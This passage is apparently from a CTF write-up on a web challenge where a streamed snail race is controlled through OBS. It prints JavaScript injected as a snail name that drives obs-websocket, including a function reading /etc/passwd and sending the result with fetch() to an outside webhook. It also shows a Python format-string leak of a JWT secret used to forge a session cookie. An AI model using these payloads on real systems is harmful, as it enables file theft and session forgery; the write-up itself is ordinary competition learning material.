The key realization here is that OBS and the web browser are on the same computer, and that OBS is using websockets to communicate. Therefore, just like the Python back-end, we can also use websockets to communicate with OBS, and manually send the packet to switch scenes!

Looking at the documentation for obs-websocket, we can find a request named SetCurrentScene. Implementing this in javascript, we have:

let ws = new WebSocket("ws://localhost:4444"); ws.onopen = () => { setInterval(() => { ws.send(JSON.stringify({ "request-type": "SetCurrentScene", "scene-name": "Scene1", "message-id": Math.random() + "bruh" })); }, 500); };

Sending this payload (after encoded) as one of the name of the snail will switch the scene to Scene 1. If you want to see the screenshots, you can find them here and here (I ended up using a request named "TakeSourceScreenshot" to take screenshots of the current scene).

So, now we have screenshots of Scene 1 and the ability to control OBS. What can we do? Unfortunately, this is where I started to go in the complete wrong direction and wasted much of my time.

After playing around for a couple of hours, I was able to create an arbitrary file read using obs-websocket.

let exfil = (path) => { ws.send(JSON.stringify({ "request-type": "SetTextFreetype2Properties", "source": "Text (FreeType 2)", "from_file": true, "text_file": path, "font": { "size": 10 }, "message-id": Math.random() + "bruh" })); setTimeout(() => { ws.send(JSON.stringify({ "request-type": "TakeSourceScreenshot", "sourceName": "Text (FreeType 2)", "embedPictureFormat": "jpg", "message-id": Math.random() + "bruh" })); }, 500); setTimeout(() => { ws.send(JSON.stringify({ "request-type": "SetTextFreetype2Properties", "source": "Text (FreeType 2)", "from_file": false, "text_file": "", "font": { "size": 100 }, "message-id": Math.random() + "bruh" })); }, 1000); } let ws = new WebSocket("ws://localhost:4444"); ws.onopen = () => { exfil("/etc/passwd"); ws.onmessage = (e) => { let data = JSON.parse(e.data); if(data["update-type"] === "StreamStatus") return; fetch("https://envqvms3wmkei.x.pipedream.net/", { method: "POST", body: JSON.stringify({"data": data}) }) } };

One of the OBS sources in Scene 3 was the text that appeared while the race was being setup. obs-websocket has a request that allows you to set the properties of text, and from there, we can tell the text to read from a file and specify the file path. Then, we take a screenshot of the source and then reset the text. We send the screenshot to a webhook so that we can look at the image. This worked perfectly on my local setup, but for some reason, it wasn't working on remote.

After talking to the admin, I was told to run GetVersion on the remote obs-websocket. I did so, and this was the result:

{ "available-requests": "Authenticate,GetAudioMonitorType,GetAuthRequired,GetBrowserSourceProperties,GetCurrentProfile,GetCurrentScene,GetCurrentTransition,GetFilenameFormatting,GetMute,GetOutputInfo,GetPreviewScene,GetRecordingFolder,GetSceneItemProperties,GetSceneList,GetSceneTransitionOverride,GetSourceFilterInfo,GetSourceFilters,GetSourceSettings,GetSourcesList,GetSourceTypesList,GetSpecialSources,GetStats,GetStreamingStatus,GetStreamSettings,GetStudioModeStatus,GetSyncOffset,GetTextFreetype2Properties,GetTextGDIPlusProperties,GetTransitionDuration,GetTransitionList,GetTransitionPosition,GetVersion,GetVideoInfo,GetVolume,ListOutputs,ListProfiles,ListSceneCollections,SetCurrentScene,SetCurrentTransition,SetHeartbeat,SetMute,SetVolume,TakeSourceScreenshot,ToggleMute", "message-id": "0.1911930833823352bruh", "obs-studio-version": "26.0.2", "obs-websocket-version": "4.8.0", "status": "ok", "supported-image-export-formats": "bmp,cur,icns,ico,jpeg,jpg,pbm,pgm,png,ppm,tif,tiff,wbmp,webp,xbm,xpm", "version": 1.1000000000000001 }

Unfortunately, I didn't realize that some of the requests, like SetTextFreetype2Properties, were blacklisted and couldn't run. To be honest, I thought like this should have been the solution, since it was super cool. But anyway, stuck at this step, I gave up and worked on other challenges.

And to be fair, the actual bug to finish this challenge is something hidden super well that I didn't catch even after scanning the code multiple times. The real vulnerability is in this function:

def log(s, mode='INFO'): if session.get('uid'): s = '[{mode}][{time}][{session.uid}] ' + s else: s = '[{mode}][{time}] ' + s logging.info(s.format(mode=mode, session=session, time=time.ctime()))

This is the logging function used to log stuff to the console to debug the stream. If you look closely, there's actually a format string exploit here! The string s is plugged into str.format, and then is rendered to the screen. I thought that the lines s = ... were some form of f-string, but they were just plain string concatenation. So, if you can control s, you can just append a message like {session} to get your session object printed to the screen!

The best place to do so is when betting, and here is the code:

@app.route('/bet/<int:winner>',methods=['PATCH']) @user def send_bet(winner): # snip bet = request.form.get('bet') try: bet = int(bet) except: log(f'Bad bet {bet}') return jsonify(success=False, error='Invalid Bet Amount') # snip

If we bet something that isn't a number, it gets sent into the log function which has the format string exploit. If we can leak our session's secret key, we can sign our own cookie to change our money arbitrarily. Now, to figure out exactly what payload to send to get our secret, we need to look at session.py. The session object we have access to is actually a SessionProxy instance, which isn't the actual Session instance which contains our secret.

But, if we look at how our SessionProxy is instantiated, we see:

session = SessionProxy(g, rclient) @app.before_request def before_request(): if 'sid' in request.cookies and 'session' in request.cookies: sid = request.cookies['sid'] g.session = Session(rclient, sid) if g.session._new: return g.session.decode(request.cookies['session'])

So, the first parameter g in SessionProxy has the property session, which ends up being the Session instance which contains our secret!

SessionProxy is instantiated by:

class SessionProxy(object): def __init__(self, req, redis): self._req = req self._redis = redis

So, if we do session._req.session, we have access to our session. Then we just need to access the _secret property to get our specific JWT secret. Our final payload is: {session._req.session._secret}, and betting this amount will print our secret to the console. Now, if we switch to Scene 1, we will be able to see our secret on the screen.

From the screenshot, we see that our secret key is 1569e94245959d95072d224d1f787061. So using a tool like CyberChef to sign a new JWT, we can change our money and get the flag.

flag{better go back to % formating..}

While I missed the format string exploit, this challenge still taught me a lot and I thought it was one of the coolest challenges I've seen yet.

All-in-all, I had a blast over the 36 hours playing this CTF. While there were some other challenges I worked on and didn't solve (damn you wabfs for being so unstable), I still had a lot of fun and learned a lot! Thanks to CSAW NYU Tandon and OSIRIS Lab for hosting such a cool CTF, and I hope to come back next year!